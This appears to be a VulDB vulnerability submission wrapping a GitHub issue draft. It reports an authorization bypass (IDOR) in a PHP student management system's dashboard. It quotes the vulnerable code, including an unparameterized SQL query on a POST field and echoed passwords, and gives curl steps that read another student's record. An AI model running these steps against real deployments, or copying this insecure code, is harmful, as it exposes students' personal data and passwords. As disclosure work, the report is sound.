제출 #891600: sambitraj STUDENT-MANAGEMENT-SYSTEM 56ba287f2e9031523ccb4244cb6e3fe530e4e5d5 Authorization Bypass Through User-Controlled SQL Primary Key

**Description:** The affected component is `student_dashboard.php`, where a logged-in student can submit arbitrary `roll_no` and `teacher_name` values to retrieve records. The code starts a session but does not bind lookups to `$_SESSION["email"]`, the authenticated student's roll number, or any ownership check:

```php
session_start();
...
$query = "select * from students where roll_no = '$_POST[roll_no]'";
$query_run = mysqli_query($connection,$query);
...
<input type="password" id="btn1" value="<?php echo $row['password']?>" disabled>
```

The same dashboard also returns teacher records and result records based on attacker-controlled search parameters. A student account can therefore retrieve another student's profile, email address, password value, remarks, and academic result information by changing `roll_no`. This is a horizontal authorization bypass independent of the existing global missing-authentication issue because it remains exploitable by a valid low-privileged student session.

**Advisory / Exploit:** GitHub issue draft below. Publish at `https://github.com/sambitraj/STUDENT-MANAGEMENT-SYSTEM/issues`.

## GitHub Issue Draft

### Title

Student dashboard IDOR exposes other students' profiles, passwords, and results

### Summary

`student_dashboard.php` lets a student search for any `roll_no`. The page does not verify that the requested record belongs to the logged-in student. As a result, one student can read another student's personal information, password field, remarks, and grades.

### Affected Version

Commit: `56ba287f2e9031523ccb4244cb6e3fe530e4e5d5`

### Vulnerability Type

Authorization Bypass / IDOR

### Existing Issue De-duplication

Existing issue #1 reports unauthenticated access to backend pages. This report demonstrates a separate horizontal authorization flaw using a valid student session: an authenticated student can request another student's record by changing `roll_no`.

### Affected Code

File: `student_dashboard.php`

```php
session_start();
...
$query = "select * from students where roll_no = '$_POST[roll_no]'";
$query_run = mysqli_query($connection,$query);
...
<input type="text" id="btn1" value="<?php echo $row['email']?>" disabled>
<input type="password" id="btn1" value="<?php echo $row['password']?>" disabled>
<textarea rows="3" cols="40" id="btn1" disabled><?php echo $row['remark']?></textarea>
```

Relevant lines:

- `student_dashboard.php:112`
- `student_dashboard.php:165`
- `student_dashboard.php:217`
- `student_dashboard.php:225`
- `student_dashboard.php:233`
- `student_dashboard.php:343`

### Root Cause

The dashboard uses user-supplied identifiers as authorization decisions. It does not compare the requested `roll_no` to the authenticated student identity stored in the session, and it does not enforce row-level access control before rendering sensitive fields.

### Steps to Reproduce

1. Deploy the application and import `aca.sql`.

```bash
BASE_URL="http://target"
```

2. Ensure there are at least two student records, for example roll numbers `1` and `2`.

3. Log in as student 1 and store the session cookie.

```bash
curl -i -c student1.cookie -X POST \
--data-urlencode '[email protected]' \
--data-urlencode 'password=1234567890' \
--data-urlencode 'submit=Submit' \
"$BASE_URL/student_login.php"
```

4. Use the student 1 session to request student 2's record.

```bash
curl -sS -b student1.cookie -X POST \
--data-urlencode 'search_by_roll_no_for_search=Search' \
--data-urlencode 'roll_no=2' \
"$BASE_URL/student_dashboard.php"
```

Observed response contained student 2's private fields:

```text
[email protected]
222222
private2
```

### Impact

Any student account can read other students' profile data, contact information, password values, remarks, and results. This violates student data confidentiality and enables account takeover when password values are exposed.

• 원천: ⚠️ https://github.com/sambitraj/STUDENT-MANAGEMENT-SYSTEM/issues/6
• 사용자: Dragon_1hw (UID 99804)
• 제출: 2026. 07. 15. AM 08:25 (2 개월 ago)
• 모더레이션: 2026. 08. 29. PM 08:48 (2 months later)
• 상태: 수락
• VulDB 항목: 397069 [sambitraj Student Management System 까지 56ba287f2e9031523ccb4244cb6e3fe530e4e5d5 Student Dashboard student_dashboard.php mysqli_query roll_no 권한 상승]
• 포인트들: 20